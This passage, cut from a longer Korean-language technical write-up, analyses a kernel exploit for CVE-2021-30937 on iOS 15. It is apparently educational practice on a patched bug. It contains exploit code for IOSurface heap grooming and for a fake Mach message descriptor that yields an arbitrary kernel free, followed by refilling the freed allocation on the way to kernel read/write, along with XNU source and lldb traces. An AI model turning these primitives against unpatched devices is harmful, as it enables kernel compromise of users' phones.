lock_result_size = sizeof(lock_result);\n    \n    IOConnectCallMethod(\n            uc,\n            6,\n            NULL, 0,\n            &amp;create_args, sizeof(create_args),\n            NULL, NULL,\n            &amp;lock_result, (size_t *)&amp;lock_result_size);\n    \n    return lock_result.surface_id;\n}\n<\/code><\/pre>\n<p>\ucee4\ub110\uc5d0\uc11c\uc758 \ucf54\ub4dc\ub97c \uc544\ub798 \uadf8\ub9bc\uacfc \ud568\uaed8 \uc0b4\ud3b4\ubcf4\uba74,\nIOSurfaceRootUserClient::create_surface_fast_path\n\u2192 IOSurfaceRoot::createSurface\n\u2192 IOSurfaceRoot::createSurface\n\u2192 IOSurface::init\n\u2192 IOSurface:allocate<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/image%204.png\" alt=\"image.png\"><\/p>\n<p><code>IOSurfaceRoot::createSurface<\/code> \ud568\uc218\ub294 IOSurface \uac1d\uccb4\ub97c \uc0dd\uc131\ud558\ub294 \uc5ed\ud560\uc744 \ub2f4\ub2f9\ud55c\ub2e4.<\/p>\n<p>\uc774 \ud568\uc218\ub294 <code>OSDictionary<\/code>\ub97c \uc785\ub825\uc73c\ub85c \ubc1b\uc544 \uc774\ub97c <code>IOSurface::init<\/code> \ud568\uc218\ub85c \uc804\ub2ec\ud55c\ub2e4.<\/p>\n<p><code>IOSurface::init<\/code>\uc740 \uc804\ub2ec\ub41c \uc18d\uc131\ub4e4\uc744 \ud30c\uc2f1\ud558\uba70, \ucd5c\uc885\uc801\uc73c\ub85c <code>IOSurfaceAllocSize<\/code>(=_IOSurfaceFastCreateArgs\u2019s alloc_size) \uc0ac\uc6a9\uc790 \uc778\ud48b\uac12\uc778 0x4000 \ud06c\uae30\uac00 \ub4e4\uc5b4\uac04\ub2e4.<\/p>\n<p><code>IOSurface<\/code> \uac1d\uccb4\ub294 \uc2e4\uc81c\ub85c\ub294 \ub2e8\uc21c\ud788 <code>IOMemoryDescriptor<\/code>\ub97c \ub798\ud551\ud558\ub294\ub370,\n\uc774 \ub514\uc2a4\ud06c\ub9bd\ud130\ub294 <code>IOSurface::allocate<\/code>\uc5d0\uc11c \uc544\ub798 \ud568\uc218\ub97c \ud638\ucd9c\ud574 \uc0dd\uc131\ub41c\ub2e4.<\/p>\n<pre><code class=\"language-c\">OSSharedPtr&lt;IOMemoryDescriptor&gt;\nIOMemoryDescriptor::withAddressRange(mach_vm_address_t address,\n    mach_vm_size_t length,\n    IOOptionBits   options,\n    task_t         task);\n<\/code><\/pre>\n<p>\ucc38\uace0\ub85c, <code>IOSurfaceRootUserClient::create_surface_fast_path<\/code> \ub97c \ud638\ucd9c\ud560\ub54c\uc5d0\n<code>IOSurfaceAllocSize<\/code>(=_IOSurfaceFastCreateArgs\u2019s alloc_size) \uc0ac\uc6a9\uc790 \uc778\ud48b\uac12\uc774 \uaf2d 0x4000 \ud06c\uae30\uc77c \ud544\uc694\ub294 \uc5c6\ub2e4. 0\uc774 \uc544\ub2cc \uc774\uc0c1 0x1\uc774\ub4e0, 0x100\uc774\ub4e0\uac04\uc5d0 \ub9d0\uc774\ub2e4.<\/p>\n<p>\uc6b0\ub9ac\uc5d0\uac8c \uc911\uc694\ud55c \uac83\uc740 \uc544\ub798 \ucf54\ub4dc\uc640 \uac19\uc774  <code>IOSurfaceRoot_create_surface_fast<\/code> \ub97c \uc5ec\ub7ec\ubc88 \ud638\ucd9c\ud558\uc5ec\n\ucd94\ud6c4 <code>IOSurfaceRootUserClient::lookup_surface<\/code>\ud638\ucd9c\ud558\uc5ec\n<code>IOSurfaceClients<\/code> \ubc30\uc5f4\uc744 \uc704\ud574 \ucee4\ub110 \ud560\ub2f9\ud560 \ub54c 0x4000 \ud06c\uae30\ub85c \ub9cc\ub4e4\uc5b4\uc57c\ud558\ub294 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">uint32_t IOSurfaceRoot_cause_array_size_to_be_0x4000(void)\n{\n    for (int i = 0; i &lt; 4; ++i)\n    {\n        io_connect_t uc = IOSurfaceRoot_init();\n        for (int i = 0; i &lt; 0xf00; ++i)\n        {\n            uint32_t last_id = IOSurfaceRoot_create_surface_fast(uc);\n            if (0x3400 &lt;= (last_id * sizeof(uint64_t)))\n            {\n                return last_id;\n            }\n        }\n    }\n    \n    return -1;\n}\n<\/code><\/pre>\n<p>\ub530\ub77c\uc11c <code>IOSurfaceRoot_create_surface_fast<\/code> \ud568\uc218\ub97c \uc5ec\ub7ec\ubc88 \ud638\ucd9c\ud568\uc73c\ub85c\uc368\n<code>IOSurface::init<\/code>\uc5d0 \ub3c4\ub2ec\ud558\uc5ec <code>IOSurfaceClients<\/code> \ubc30\uc5f4 \ud560\ub2f9 \ud06c\uae30\ub97c \ub298\ub9ac\uae30 \uc704\ud574\n<code>i_IOSurfaceHandleTotalCapability<\/code>\ub97c \uc810\ucc28 \uc99d\uac00\uc2dc\ucf1c 0x800\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc900\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/image%205.png\" alt=\"image.png\"><\/p>\n<h2>3-3. port_destroy(arb_free_holder);<\/h2>\n<pre><code class=\"language-c\">void port_destroy(mach_port_t p)\n{\n    mach_port_destroy(mach_task_self(), p);\n}\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...\n    \/\/ trigger arbitrary free in kheap default\n    port_destroy(arb_free_holder);\n...\n}\n<\/code><\/pre>\n<p>\uc774\uc804\uc5d0 \ubd24\ub358 <code>get_arb_free_holder<\/code>\uc5d0\uc11c \ubc18\ud658\ub41c \uac12\uc740 1byte-copy\uac00 \ubc1c\uc0dd\ud55c <code>kheap_data_ports[i]<\/code>\uc774\uba70,\n\uc774\ub294 \uace7 <code>arb_free_holder<\/code>\uc774\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c \uc6b0\ub9ac\uac00 \uc54c\uc544\uc57c\ub420 \uc911\uc694\ud55c \uac83\uc740\n\uc190\uc0c1\uc774 \ubc1c\uc0dd\ud55c <code>arb_free_holder<\/code>\uc758 kmsg\ub97c \uc0b4\ud3b4\ubcf4\uba74, <code>msgh_bits<\/code> \ud544\ub4dc\uac12\uc774 <code>MACH_MSGH_BITS_COMPLEX(=0x80000000)<\/code> \uc774 \uc138\ud2b8\ub418\uc5b4\uc788\ub2e4\ub294 \uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x *(mach_msg_header_t*)0xfffffe228d000000\n(mach_msg_header_t) {\n  msgh_bits = 0x88000011 \/\/SET MACH_MSGH_BITS_COMPLEX !!!!!\n  msgh_size = 0x00003f88\n  msgh_remote_port = 0xfffffe1514a8dd60\n  msgh_local_port = NULL\n  msgh_voucher_port = 0x00000000\n  msgh_id = 0x00000000\n}\n<\/code><\/pre>\n<p>\uc774\ub294 \ud6cc\ub96d\ud55c\ub370,\n\uba54\uc2dc\uc9c0 \uac1d\uccb4\uac00 \ud30c\uad34\ub420 \ub54c \uba54\uc2dc\uc9c0 \ubc84\ud37c \uc2dc\uc791 \ubd80\ubd84\uc5d0 \uc788\ub294 \u2018descriptors\u2019\uac00 \ucee4\ub110 \uc8fc\uc18c\ub85c \ucde8\uae09\ub418\uc5b4 free\uc2dc\ud0ac \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<p>XNU \uc18c\uc2a4\ucf54\ub4dc\ub97c \ud1b5\ud574 \ucd94\uc801\ud574\ubcf4\uba74, \ub2e4\uc74c\uacfc \uac19\ub2e4.\n<code>ipc_kmsg_clean -&gt; ipc_kmsg_clean_body<\/code><\/p>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:1842\nstatic void\nipc_kmsg_clean(\n\tipc_kmsg_t      kmsg)\n{\n\tipc_object_t object;\n\tmach_msg_bits_t mbits;\n\n\t\/* deal with importance chain while we still have dest and voucher references *\/\n\tipc_importance_clean(kmsg);\n\n\tmbits = kmsg-&gt;ikm_header-&gt;msgh_bits;\n\tobject = ip_to_object(kmsg-&gt;ikm_header-&gt;msgh_remote_port);\n\t\n\t...\n\n\tif (mbits &amp; MACH_MSGH_BITS_COMPLEX) { \/\/ &lt;- THIS !!!!!\n\t\tmach_msg_body_t *body;\n\n\t\tbody = (mach_msg_body_t *) (kmsg-&gt;ikm_header + 1);\n\t\tipc_kmsg_clean_body(kmsg, body-&gt;msgh_descriptor_count,\n\t\t    (mach_msg_descriptor_t *)(body + 1));\n\t}\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:1687\nstatic void\nipc_kmsg_clean_body(\n\t__unused ipc_kmsg_t     kmsg,\n\tmach_msg_type_number_t  number,\n\tmach_msg_descriptor_t   *saddr)\n{\n\tmach_msg_type_number_t      i;\n\n\tif (number == 0) {\n\t\treturn;\n\t}\n\n\tfor (i = 0; i &lt; number; i++, saddr++) {\n\t\tswitch (saddr-&gt;type.type) {\n\t\t...\n\t\tcase MACH_MSG_OOL_PORTS_DESCRIPTOR: \/* 2 *\/{\n\t\t\tipc_object_t                    *objects;\n\t\t\tmach_msg_type_number_t          j;\n\t\t\tmach_msg_ool_ports_descriptor_t *dsc;\n\n\t\t\tdsc = (mach_msg_ool_ports_descriptor_t  *)&amp;saddr-&gt;ool_ports;\n\t\t\tobjects = (ipc_object_t *) dsc-&gt;address;\n\n\t\t\tif (dsc-&gt;count == 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tassert(objects != (ipc_object_t *) 0);\n\n\t\t\t\/* destroy port rights carried in the message *\/\n\n\t\t\tfor (j = 0; j &lt; dsc-&gt;count; j++) {\n\t\t\t\tipc_object_t object = objects[j];\n\n\t\t\t\tif (!IO_VALID(object)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tipc_object_destroy(object, dsc-&gt;disposition);\n\t\t\t}\n\n\t\t\t\/* destroy memory carried in the message *\/\n\n\t\t\tassert(dsc-&gt;count != 0);\n\n\t\t\tkfree_type(mach_port_t, dsc-&gt;count, dsc-&gt;address);\n\t\t\tbreak;\n\t\t}\n\t\t...\n\t\tdefault:\n\t\t\tpanic(&quot;invalid descriptor type: (%p: %d)&quot;,\n\t\t\t    saddr, saddr-&gt;type.type);\n\t\t}\n\t}\n}\n<\/code><\/pre>\n<p>\uc989, arbitrary free\uac00 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p>0xfffffe2281888000 \uc8fc\uc18c\ub85c \ud560\ub2f9\ub418\uc5c8\ub358 \uacf3\uc774 free\ub41c\ub2e4.<\/p>\n<p>\uc774\ub294 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c exploitation_init \ud568\uc218\uc758\n\u201cfake descriptor for free primitive\u201d \uc8fc\uc11d \uc544\ub798\uc758 \ucf54\ub4dc\uc5d0 \uc791\uc131\ub418\uc788\uc73c\uba70,\n\ud560\ub2f9\ud574\uc81c\ud560 \uc8fc\uc18c\uc778 address, deallocate, copy, disposition, type, count\uac12\uc774 \uadf8\ub300\ub85c \ub2f4\uaca8\uc788\uae30\uc5d0\n\ud574\ub2f9 \ud558\ub4dc\ucf54\ub529 \ud560\ub2f9\uc8fc\uc18c\uc5d0 free\uac00 \uac00\ub2a5\ud55c\uac83\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">int exploitation_init(void)\n{\n...\n    \/\/ fake descriptor for free primitive\n    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t)) = 1;    \/\/ (mach_msg_body_t *)body-&gt;msgh_descriptor_count\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; \/\/ free primitive target\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; \/\/ disposition, size, etc\n...\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) bt\n* thread #4, name = 'CPU3', stop reason = breakpoint 5.1\n  * frame #0: 0xfffffe0026113ff0 kernel.release.vmapple`ipc_kmsg_clean_body(kmsg=&lt;unavailable&gt;, number=1, saddr=&lt;unavailable&gt;) at ipc_kmsg.c:1691 [opt]\n    frame #1: 0xfffffe0026113f68 kernel.release.vmapple`ipc_kmsg_clean(kmsg=0xfffffe1514994700) at ipc_kmsg.c:1873:3 [opt]\n    frame #2: 0xfffffe0026113e38 kernel.release.vmapple`ipc_kmsg_reap_delayed at ipc_kmsg.c:1671:3 [opt]\n    frame #3: 0xfffffe002611e210 kernel.release.vmapple`ipc_port_destroy(port=0xfffffe1514999180) at ipc_port.c:1148:3 [opt]\n    frame #4: 0xfffffe0026122d54 kernel.release.vmapple`ipc_right_destroy(space=&lt;unavailable&gt;, name=4485379, entry=&lt;unavailable&gt;, check_guard=&lt;unavailable&gt;, guard=&lt;unavailable&gt;) at ipc_right.c:1047:4 [opt]\n    frame #5: 0xfffffe002612cec8 kernel.release.vmapple`mach_port_destroy(space=0xfffffe150dd42880, name=4485379) at mach_port.c:768:7 [opt]\n    frame #6: 0xfffffe00261ac990 kernel.release.vmapple`_Xmach_port_destroy(InHeadP=0xfffffe1514e7898c, OutHeadP=0xfffffe1514e7878c) at mach_port_server.c:812:18 [opt]\n    frame #7: 0xfffffe002613d220 kernel.release.vmapple`ipc_kobject_server_internal(port=&lt;unavailable&gt;, request=0xfffffe1514e78900, replyp=0xfffffe6029cd3c30) at ipc_kobject.c:472:3 [opt]\n    frame #8: 0xfffffe002613cd74 kernel.release.vmapple`ipc_kobject_server(port=&lt;unavailable&gt;, request=0xfffffe1514e78900, option=&lt;unavailable&gt;) at ipc_kobject.c:580:8 [opt]\n    frame #9: 0xfffffe00261148e8 kernel.release.vmapple`ipc_kmsg_send(kmsg=0xfffffe1514e78900, option=3, send_timeout=0) at ipc_kmsg.c:2202:10 [opt]\n    frame #10: 0xfffffe002612c2c8 kernel.release.vmapple`mach_msg_overwrite_trap(args=&lt;unavailable&gt;) at mach_msg.c:371:8 [opt]\n    frame #11: 0xfffffe0026259b2c kernel.release.vmapple`mach_syscall(state=0xfffffe151165c9f0) at bsd_arm64.c:276:11 [opt]\n    frame #12: 0xfffffe0026262e78 kernel.release.vmapple`handle_svc(state=0xfffffe151165c9f0) at sleh.c:2411:3 [opt] [inlined]\n    frame #13: 0xfffffe0026262e0c kernel.release.vmapple`sleh_synchronous(context=0xfffffe151165c9f0, esr=&lt;unavailable&gt;, far=4840380424) at sleh.c:743:3 [opt]\n    frame #14: 0xfffffe00260f479c kernel.release.vmapple`fleh_synchronous + 40\n    frame #15: 0x00000001a9f7d954\n    frame #16: 0x00000001a9f9a250\n    frame #17: 0x0000000100fb2690\n    frame #18: 0x0000000100fb0ebc\n    frame #19: 0x0000000100fb1288\n    frame #20: 0x0000000100fb13bc\n    frame #21: 0x000000010110d0f4\n\n(lldb) reg read\nGeneral Purpose Registers:\n        x0 = 0x0000000000000001\n        x1 = 0xfffffe228d000024\n...\n\n(lldb) p\/x *(mach_msg_ool_ports_descriptor_t  *)0xfffffe228d000024\n(mach_msg_ool_ports_descriptor_t)  (address = 0xfffffe2281888000, deallocate = 0x00000000, copy = 0x00000000, disposition = 0x00000011, type = 0x00000002, count = 0x000007f8)\n<\/code><\/pre>\n<p>\uadf8\ub9ac\uace0 0xfffffe2281888000(=KHEAP_DEFAULT_MAPPABLE_LOC) \uc8fc\uc18c\ub85c \ud560\ub2f9\ub418\uc5c8\ub358 \uacf3\uc744 \uc0b4\ud3b4\ubcf4\uba74 \ub2e4\uc74c\uacfc \uac19\uc740 \uc8fc\uc18c\uac00 \ub098\ud0c0\ub09c\ub2e4.<\/p>\n<p>\u201c1-5. \ub2e4\uc2dc \ub3cc\uc544\uc640\uc11c, \uc2a4\ud504\ub808\uc774 \ucf54\ub4dc \uc0b4\ud3b4\ubcf4\uae30\u201d\uc5d0\uc11c \uc0b4\ud3b4\ubd24\ub358 <code>notif_port<\/code> \ub97c \uae30\uc5b5\ud558\ub294\uac00?<\/p>\n<p>\ud574\ub2f9 <code>notif_port<\/code> \uc5ed\uc2dc <code>ipc_kmsg_clean_body<\/code>\uc5d0 \uc788\ub294 <code>ipc_object_destroy(object, dsc-&gt;disposition);<\/code> \ucf54\ub4dc\uc5d0 \uc758\ud574 \ud30c\uad34\ub420\uac83\uc774\ub2e4. (*\uc815\ud655\ud788\ub294 1byte-copy\uac00 \ubc1c\uc0dd\ud55c <code>kheap_default_ports[i]<\/code>\uc5d0 \ub4f1\ub85d\ub41c <code>notif_port<\/code>)<\/p>\n<pre><code class=\"language-c\">(lldb) p\/x *(ipc_object_t *)0xfffffe2281888000\n(ipc_object_t) 0xfffffe15149bf200\n<\/code><\/pre>\n<h2>3-4. IOSurfaceRoot_lookup_surface \/ IOSurfaceRoot_release_all<\/h2>\n<p>\uc774\uc804\uc5d0 \ub9d0\ud588\ub2e4\uc2dc\ud53c <code>IOSurfaceRootUserClient::lookup_surface<\/code>\ud638\ucd9c\ud558\uc5ec\n<code>IOSurfaceClients<\/code> \ubc30\uc5f4\uc744 \uc704\ud574 \ucee4\ub110 \ud560\ub2f9\ud560 \ub54c 0x4000 \ud06c\uae30\ub85c \ub9cc\ub4e4\uc5b4\uc904 \uc218 \uc788\ub294\ub370,\n\ubc29\uae08 arbitrary free\ub418\uc5c8\ub358 0xfffffe2281888000 \uc8fc\uc18c\ub85c \ubc30\uc815\ubc1b\uac8c \ub9cc\ub4e0\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 \ub098\uc911\uc5d0 \u201cfind allocation at KHEAP_DEFAULT_MAPPABLE_LOC\u201d \uc8fc\uc11d \uc544\ub798\uc758 \ucf54\ub4dc\uc5d0\uc11c port_destroy\ud560\ub54c zone_require \ud328\ub2c9\uc744 \ubc29\uc9c0\ud558\uae30 \uc704\ud574 <code>IOSurfaceRoot_release_all<\/code> \ud638\ucd9c\uc744 \ud55c\ub2e4.<\/p>\n<pre><code>kern_return_t IOSurfaceRoot_lookup_surface(io_connect_t uc, uint32_t surf_id)\n{\n    uint64_t sz = IOSURFACE_CREATE_OUTSIZE;\n    uint8_t o[IOSURFACE_CREATE_OUTSIZE];\n    uint64_t scalarInput = surf_id;\n    kern_return_t ret = IOConnectCallMethod(uc, 4, &amp;scalarInput, 1, 0, 0, 0, 0, o, (size_t *)&amp;sz);\n    return ret;\n}\n\nkern_return_t IOSurfaceRoot_release_surface(io_connect_t uc, uint32_t surf_id)\n{\n    uint64_t scalarInput = surf_id;\n    kern_return_t ret = IOConnectCallMethod(uc, 1, &amp;scalarInput, 1, 0, 0, 0, 0, 0, 0);\n    return ret;\n}\n\nvoid IOSurfaceRoot_release_all(io_connect_t uc)\n{\n    for (uint32_t surf_id = 1; surf_id &lt; 0x3FFF; ++surf_id)\n    {\n        IOSurfaceRoot_release_surface(uc, surf_id);\n    }\n}\n\nint exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...\n    \/\/ do refill in kheap default\n    IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);\n    \/\/ NULL out array\n    IOSurfaceRoot_release_all(iosurface_connect_krw);\n...\n}\n<\/code><\/pre>\n<p>\uad6c\uccb4\uc801\uc73c\ub85c \ud55c\ubc88 \uc0b4\ud3b4\ubcf4\uc790.<\/p>\n<p>\uc2e4\uc81c\ub85c ENABLE_HELPER \ub9e4\ud06c\ub85c\ub97c \ud65c\uc131\ud654\ud558\uc5ec\n<code>m_IOSurfaceClientArrayPointer<\/code> \ud560\ub2f9\ub41c \uc8fc\uc18c\ub97c \uc0b4\ud3b4\ubcf4\uba74,\n\uc870\uae08 \uc804 arbitrary free\ub418\uc5c8\ub358 KHEAP_DEFAULT_MAPPABLE_LOC \uc8fc\uc18c\uac00 \ub098\ud0c0\ub09c\ub2e4.<\/p>\n<ul>\n<li>\ucf54\ub4dc<\/li>\n<\/ul>\n<pre><code class=\"language-c\">    \/\/ do refill in kheap default\n    IOSurfaceRoot_lookup_surface(iosurface_connect_krw, last_id);\n\n#if ENABLE_HELPER\n    uint64_t surfRoot = port_to_kobject(iosurface_connect_krw);\n    INFO(&quot;iosurface_connect_krw's IOSurfaceRootUserClient = 0x%llx\\n&quot;, surfRoot);\n\n\tuint64_t surfClients = kextrw_kread64(surfRoot + 0x118);\n\tINFO(&quot;iosurface_connect_krw's IOSurfaceRootUserClient-&gt;m_IOSurfaceClientArrayPointer: 0x%llx\\n&quot;, surfClients);\n    getchar();\n#endif\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-c\">[*] iosurface_connect_krw's IOSurfaceRootUserClient = 0xfffffe150df24cf0\n[*] iosurface_connect_krw's IOSurfaceRootUserClient-&gt;m_IOSurfaceClientArrayPointer: 0xfffffe2281888000\n<\/code><\/pre>\n<p>KHEAP_DEFAULT_MAPPABLE_LOC \uc8fc\uc18c\ub85c \ud560\ub2f9\ubc1b\ub294\uac83\uc774 \uac00\ub2a5\ud588\ub358 \uc774\uc720\uc5d0 \ub300\ud574 \uc124\uba85\ud574\ubcf4\uaca0\ub2e4.<\/p>\n<p><code>IOSurfaceRootUserClient::lookup_surface<\/code>\ub294 \ucd5c\uc885\uc801\uc73c\ub85c <code>IOSurfaceRootUserClient::alloc_handles<\/code>\uc5d0\uc11c <code>m_IOSurfaceClientArrayPointer<\/code> \ud544\ub4dc\uc5d0 <code>IOMallocZero<\/code>\uc73c\ub85c\ubd80\ud130 \ubc18\ud658\ub41c \ucee4\ub110\ud560\ub2f9\uc8fc\uc18c\uac00 \uc9c0\uc815\ub41c\ub2e4.<\/p>\n<p>IOSurfaceRootUserClient::lookup_surface\n\u2192 IOSurfaceClient::withBuffer\n\u2192 IOSurfaceClient::init\n\u2192 IOSurfaceRootUserClient::set_surface_handle\n\u2192 IOSurfaceRootUserClient::alloc_handles<\/p>\n<p>\uc774\uc804\uc5d0 \uc6b0\ub9ac\ub294 <code>IOSurfaceRoot_create_surface_fast<\/code> \ud568\uc218\ub97c \uc5ec\ub7ec\ubc88 \ud638\ucd9c\ud568\uc73c\ub85c\uc368 <code>i_IOSurfaceHandleTotalCapability<\/code>  \ub97c \uc99d\uac00\uc2dc\ucf1c 0x800\uc73c\ub85c \ub9cc\ub4e4\uc5b4\uc8fc\uc5c8\uae30\uc5d0\n\ub530\ub77c\uc11c \ucee4\ub110 \ud560\ub2f9\ud06c\uae30\ub294 0x4000(=8*0x800)\uc774 \ub41c\ub2e4.<\/p>\n<p><code>IOMallocZero<\/code> \ub294 KHEAP_KEXT \ud0c0\uc785\uc774\uc9c0\ub9cc, iOS 15 \ud658\uacbd\uc758 \uacbd\uc6b0 KHEAP_DEFAULT \ud0c0\uc785\uacfc \uc874\uc774 \uaca9\ub9ac\ub418\uc5b4\uc788\uc9c0 \uc54a\uace0 \uac19\uc740 0x4000 \ud560\ub2f9\ud06c\uae30\uc774\ubbc0\ub85c, \ud574\ub2f9 KHEAP_DEFAULT_MAPPABLE_LOC \uc8fc\uc18c\ub85c \ubc30\uc815\ubc1b\ub294\uac83\uc774 \uac00\ub2a5\ud55c\uac83\uc774\ub2e4.\n<strong>(\ub2e8, VMApple\uc758 \uacbd\uc6b0 &#8211; KHEAP_DEFAULT\uacfc KHEAP_KEXT\uc640 \uaca9\ub9ac\ub418\uc788\uae30\uc5d0 \uc775\uc2a4\ud50c\ub85c\uc787\uc774 \ubd88\uac00\ub2a5\ud568)<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2021-30937\/pics\/Drawing_2025-11-23_03.03.43.excalidraw_1.png\" alt=\"Drawing 2025-11-23 03.03.43.excalidraw 1.png\"><\/p>\n<p>\uc774\ud6c4\ub85c\ub294 <code>IOSurfaceRoot_release_all<\/code> \ud638\ucd9c\ud558\ub294\uac83\uc744 \ubcfc \uc218 \uc788\ub294\ub370,\n\uc5ec\ud0dc\uae4c\uc9c0 <code>IOSurfaceRoot_create_surface_fast<\/code> \uc5ec\ub7ec\ubc88 \ud638\ucd9c\ud558\uc5ec \ud560\ub2f9\ub418\uc5c8\ub358 \uc5b4\ub5a4 \ud55c \ubc30\uc5f4\uc744 NULL\ub85c \ucd08\uae30\ud654\uc2dc\ud0a4\ub294 \uac83\uc73c\ub85c \ubcf4\uc778\ub2e4.<\/p>\n<p>(\uc8fc\uc11d\uc5d0\ub294 \u201cNULL out array\u201d\uc774\ub77c\uace0 \ub418\uc5b4\uc788\uc9c0\ub9cc, release_all \uad00\ub828 \ud568\uc218\ub97c \uc65c \ud638\ucd9c\ud558\ub294\uc9c0\ub294 \ud30c\uc545\ubabb\ud588\ub2e4.)<\/p>\n<p>(\ud55c\uac00\uc9c0 \uc54c \uc218 \uc788\ub294 \uc0ac\uc2e4\uc740 \ud574\ub2f9 \ucf54\ub4dc\ub97c \ube44\ud65c\uc131\ud654\ud560 \uc2dc\uc5d0 KHEAP_DEFAULT_MAPPABLE_LOC\uc5d0 \ud560\ub2f9\ub41c \uacf3\uc744 \ucc3e\ub294 \ub8e8\ud504\ubb38 \ucf54\ub4dc\uc5d0\uc11c port_destory \uc218\ud589\ud560 \uc2dc zone_require \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4\ub294 \uc810\uc774\ub2e4\u2026)<\/p>\n<pre><code class=\"language-c\">int exploitation_get_krw_with_arb_free(mach_port_t arb_free_holder, uint64_t *kernel_base)\n{\n...\n    \/\/ NULL out array\n    IOSurfaceRoot_release_all(iosurface_connect_krw);\n\n    \/\/ find allocation at KHEAP_DEFAULT_MAPPABLE_LOC\n    int kheap_default_idx = -1;\n    for (uint32_t i = 0;\n         (i &lt; PORTS_COUNT) &amp;&amp; port_has_msg(notif_port);\n         i++)\n    {\n        port_receive_msg(notif_port, msg_buf, sizeof(msg_buf));\n       \n        port_destroy(kheap_default_ports[i]);   \/\/will trigger zone_require_panic if you don't IOSurfaceRoot_release_surface(iosurface_connect_krw, last_id); or IOSurfaceRoot_release_all(iosurface_connect_krw);\n\n        kheap_default_idx = i;\n    }\n...\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">(lldb) bt\n* thread #1, name = 'CPU0', stop reason = breakpoint 1.1\n  * frame #0: 0xfffffe000c87eea4 kernel.release.vmapple`panic(str=&quot;zone_require failed: address in unexpected zone id %d (%s%s) (addr: %p, expected: %s%s) @%s:%d&quot;) at debug.c:872:2 [opt]\n    frame #1: 0xfffffe000c883378 kernel.release.vmapple`zone_require_panic(zone=0xfffffe000e67da38, addr=0xfffffe1515347e80) at zalloc.c:1366:3 [opt]\n    frame #2: 0xfffffe000c883398 kernel.release.vmapple`zone_id_require_panic(zid=&lt;unavailable&gt;, addr=&lt;unavailable&gt;) at zalloc.c:1377:2 [opt]\n    frame #3: 0xfffffe000c0fdd38 kernel.release.vmapple`zone_id_require(zid=&lt;unavailable&gt;, esize=&lt;unavailable&gt;, addr=&lt;unavailable&gt;) at zalloc.c:1419:2 [opt]\n    frame #4: 0xfffffe000c07ba68 kernel.release.vmapple`ipc_object_validate(object=0xfffffe1515347e80) at ipc_object.c:0 [opt] [inlined]\n    frame #5: 0xfffffe000c07ba3c kernel.release.vmapple`ipc_object_lock(io=0xfffffe1515347e80) at ipc_object.c:1339:2 [opt]\n    frame #6: 0xfffffe000c07c2ac kernel.release.vmapple`ipc_port_release_send(port=0xfffffe1515347e80) at ipc_port.c:2863:3 [opt] [inlined]\n    frame #7: 0xfffffe000c07c2a4 kernel.release.vmapple`ipc_object_destroy(object=0xfffffe1515347e80, msgt_name=&lt;unavailable&gt;) at ipc_object.c:832:3 [opt]\n    frame #8: 0xfffffe000c0740c0 kernel.release.vmapple`ipc_kmsg_clean_body(kmsg=&lt;unavailable&gt;, number=1, saddr=0xfffffe1514aca584) at ipc_kmsg.c:1753:5 [opt]\n    frame #9: 0xfffffe000c073f68 kernel.release.vmapple`ipc_kmsg_clean(kmsg=0xfffffe1514aca500) at ipc_kmsg.c:1873:3 [opt]\n    frame #10: 0xfffffe000c073e38 kernel.release.vmapple`ipc_kmsg_reap_delayed at ipc_kmsg.c:1671:3 [opt]\n    frame #11: 0xfffffe000c07e210 kernel.release.vmapple`ipc_port_destroy(port=0xfffffe1514acf520) at ipc_port.c:1148:3 [opt]\n    frame #12: 0xfffffe000c082d54 kernel.release.vmapple`ipc_right_destroy(space=&lt;unavailable&gt;, name=3780099, entry=&lt;unavailable&gt;, check_guard=&lt;unavailable&gt;, guard=&lt;unavailable&gt;) at ipc_right.c:1047:4 [opt]\n    frame #13: 0xfffffe000c08cec8 kernel.release.vmapple`mach_port_destroy(space=0xfffffe150db43a00, name=3780099) at mach_port.c:768:7 [opt]\n    frame #14: 0xfffffe000c10c990 kernel.release.vmapple`_Xmach_port_destroy(InHeadP=0xfffffe1514ac898c, OutHeadP=0xfffffe1514ac918c) at mach_port_server.c:812:18 [opt]\n    frame #15: 0xfffffe000c09d220 kernel.release.vmapple`ipc_kobject_server_internal(port=&lt;unavailable&gt;, request=0xfffffe1514ac8900, replyp=0xfffffe601e62bc30) at ipc_kobject.c:472:3 [opt]\n    frame #16: 0xfffffe000c09cd74 